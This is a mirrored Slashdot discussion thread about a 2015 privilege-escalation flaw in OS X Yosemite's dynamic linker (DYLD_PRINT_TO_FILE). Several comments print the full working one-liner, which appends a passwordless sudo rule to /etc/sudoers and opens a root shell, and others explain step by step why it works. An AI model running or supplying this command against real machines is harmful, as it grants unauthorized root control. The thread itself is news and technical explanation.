Slashdot Mirror
A Tweet-Sized Exploit Can Get Root On OS X 10.10
vivaoporto writes: The Register reports a root-level privilege-escalation exploit that allows one to gain administrator-level privileges on an OS X Yosemite Mac using code so small that fits in a tweet.
The security bug, documented by iOS and OS X guru Stefan Esserwhich, can be exploited by malware and attackers to gain total control of the computer.
This flaw is present in the latest version of Yosemite, OS X 10.10.4, and the beta, version 10.10.5 but is already fixed in the preview beta of El Capitan (OS X 10.11) Speaking of exploits:
Reader trailrunner 7 notes that "HP’s Zero Day Initiative has released four new zero days in Internet Explorer that can lead to remote code execution."
Twitter is bad for you. At least if you're a Mac user.
This is my opinion. To make sure you don't steal it, it's covered by the DMCA.
It's just Stefan Esser, as far as I've known for the last decade.
"Screw Sun, cross-platform will never work. Let's move on and steal the Java language." - Visual J++ Product Manager
Fact[0]: The code for this exploit could fit within a tweet (which is to say: 140 characters.)
Fact[1]: Despite referring to tweets and Twitter, this exploit can't occur via Twitter. The attacker already has to have local access.
A lot of security exploits could fit within a tweet, but I've never seen that comparison before. It misleads people into thinking that you can pwn a Mac via Twitter.
Lost control of my keyboard twice this week.
Discovered the Mac's firewall was down. But couldn't find any history on the keyboard getting redirected to remote address.
I was ready to chalk it up to a bad driver update by Apple, but I should probably assume I've been rooted.
Already fixed in the (preview) next OSX version - is that by luck or design?
Makes me wonder how many known vulnerabilities Microsoft / Apple / Google have on their buglist that will only be fixed when they become publicly known.
As small as a tweet and still too big to fit in the summary.
Well done. You realise that this story will be reported in tomorrow's Daily Mail as 'Twitter Steals Apple Users' Bank Details'?
This is one of the stupidest security holes I have ever seen. Ever. How does a company with the resources of apple not spot this. Not even spot it, what kind of retard decides to implement something like this. Let's link a publicly modifiable ENV to a setuid system program and allow it to write wherever the fuck it want without authentication. Wut? Apple put on the dunce cap, we know your security is shit but this is way beyond ridiculous.
Copyright (c) 1990 - 2014 Dice. All rights reserved. Use of this comment is subject to certain Terms and Conditions.
It's a hip way of saying small. He found that invoking DYLD_PRINT_TO_FILE runs as root, and as such can allow a user to write to /etc/sudoers, giving the user sudo privileges, letting them sudo to root.
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s
Thirty four characters live here.
Just tested this on my Mac in OS X -- grants root level access immediately.
Local application access!
I'm still trying to determine if this would be effective JavaScript Shell
You just have to be able to set an environment variable no matter who you are and you're root. It's just a question if FireFox has its own "environment" or relies on an under-privileged UNIX account.
From what I can tell, this is a wide-open window. Huge, huge, flaw.
My security expert assured me that size doesn't matter!
No, you're the one that's stupid, because you failed to see that the OP was being sarcastic.
It's a hip way of saying small. He found that invoking DYLD_PRINT_TO_FILE runs as root, and as such can allow a user to write to /etc/sudoers, giving the user sudo privileges, letting them sudo to root.
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s
He found that invoking DYLD_PRINT_TO_FILE runs as root, and as such can allow a user to write to /etc/sudoers, giving the user sudo privileges, letting them sudo to root.
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s
Small correction. DYLD_PRINT_TO_FILE doesn't run as root, it just tells the dynamic library where to write error logs. The problem is it is accepted and used by child processes, even setuid ones, so by setting the environment variable, then calling sudo (which runs as root) with an invalid argument that will cause an error to be logged, he can create or append to any file on the machine he wants. He used the sudoers file for his example, but I am sure there are many other possibilities.
BTW, this is a similar exploit to the LD_LIBRARY_PATH exploit from many years ago where you could get a setuid program to use your dynamic library instead of the system one, thereby getting your code to run as root. It was fixed by having the loader check if the program uid doesn't equal euid and if so ignore the LD_LIBRARY_PATH variable. Apparently programmers at Apple are guilty of not learning from history and are therefore repeating it.
A lot of security exploits could fit within a tweet, but I've never seen that comparison before. It misleads people into thinking that you can pwn a Mac via Twitter.
My exploit to load unsigned drivers on Windows 8, 8.1 and 10 even with Secure Boot enabled fits in the length of a tweet. I'll release it whenever WinPhone 10 comes out, probably.
"Screw Sun, cross-platform will never work. Let's move on and steal the Java language." - Visual J++ Product Manager
Comment removed based on user account deletion
Because there's never security holes in beta software...
Agreed, that statement from TFA is pretty stupid.
Reading the explanation here: https://www.sektioneins.de/en/...
I don't fully understand how it works, but it seems to be more complex than what you just said. I suspect it depends on a parent process inheriting a child procesess setuid for accessing a file.
the bash script however is a riddle to me. I don't understand how the pipe to channel 3 ends up in the /etc/sudoers file. Where does channel 3 go. I suspect the newgrp statement is there to just be any process which does a setuid as root. Not sure. Again I don't understand how it's being called here.
What does the environment variable look like as this executes? which parts of it execute when? and how does the echo get to the file.
the final sudo -s I understand.
can someone break this down for me?
Some drink at the fountain of knowledge. Others just gargle.
Comment removed based on user account deletion
That command is a riddle and, forgive me, but I think your explanation is wrong.
the final sudo -s is not there to create an error. it's a perfectly fine command and is that to just make you root on the spot.
I think a partial explanation of what goes on is this:
the first bin just creates the text you want to shove into the sudoers file. that's clear enough.
the pass to >&3 is saying send this text to file descriptor 3. This doesn't exist..yet...but it will shortly.
So how does the file open happen? Well if you put an environment variable definition in front of a command, what happens is the command runs with that environment variable temporarily set for the duration of the command. thus
DYLD_PRINT_TO_FILE=/etc/sudoers newgrp
says create the env DYLD_PRINT_TO_FILE temporarily and set it to /etc/sudoers and after setting that, then execute newgrp.
newgrp doesn't actually do anything at all here other than launch a new shell which promptly quits. However it does run with setuid root privilege.
guessing here: And while it's running but not doing anything the system goes, oh, I better open a stream to the DYLD_ file because there might be some output to log there. So it opens that file pre-emptively and duly assigns it to file descriptor 3 for input.
unfortunately DYLD has inherited the permission of newgrp to do that, so its doing a file open as root too.
So we can now write to 3 and DYLD_ redirects that into the file.
at this point I'm not sure what happens exactly. One possibility is the obvious which is that what we write to file descitor 3 goes into the file represent file descriptor 3. that's simple if that's what bash would do. However the explanation of the exploit notes that DYLD_ also fails to close it's file descriptors. In which case what happens is that the newgrp command just exits but because the pipe made it a child, it's parent inherits the dangling filedesciptor. and then that's why we can write to that. I really don't know my bash well enough to say which of those might be the right mechanism here. if either.
anyone alse want to explain?
Another point I'm fuzzy on here is whether the writer needs to have the same setuid as the reader.
Some drink at the fountain of knowledge. Others just gargle.
From TFA
"This flaw is present in the latest version of Yosemite, OS X 10.10.4, and the beta, version 10.10.5. If you upgrade to the El Capitan beta (OS X 10.11), you'll be free from the vulnerability as Apple has already fixed it in that preview beta. Once again, if you keep up with Cupertino and install (or buy) the very latest stuff, you'll be rewarded."
lolwhat? That statement is ridiculous. Since when unstable beta is considered keeping up with updates. Well unless "rewarded" is meant as synonym to pwned.
Because there's never security holes in beta software...
Agreed, that statement from TFA is pretty stupid.
The ridiculous part isn't the security holes in beta software. It's that the article assumes beta software is "the latest updates" or that you can get it pre-installed when you buy the latest hardware.
When you run the example exploit command (simplified): /etc/sudoers open as file descriptor 3.
Your shell sets the DYLD_PRINT_TO_FILE variable.
Your shell executes newgrp. newgrp is SUID root.
As newgrp is initializing, the dynamic linker opens the value of DYLD_PRINT_TO_FILE (/etc/sudoers) for debug log output. It should check whether it is executing in a SUID context, but doesn't. It should also set the close-on-exec flag for that file, but it doesn't do that either. The log file is now file descriptor 3.
newgrp sets its uid and gids as appropriate for the calling user, and then starts a new shell. Because the close-on-exec flag wasn't set, the new shell still has
The new shell reads commands from stdin. In this case, it gets "echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3".
There is no more input, and the shell exits.
Your shell runs sudo. The sudoers file has been modified, and now says that you have the right to run all commands without being prompted for a password.
You get a root shell.
Whoooosh!
Just cruising through this digital world at 33 1/3 rpm...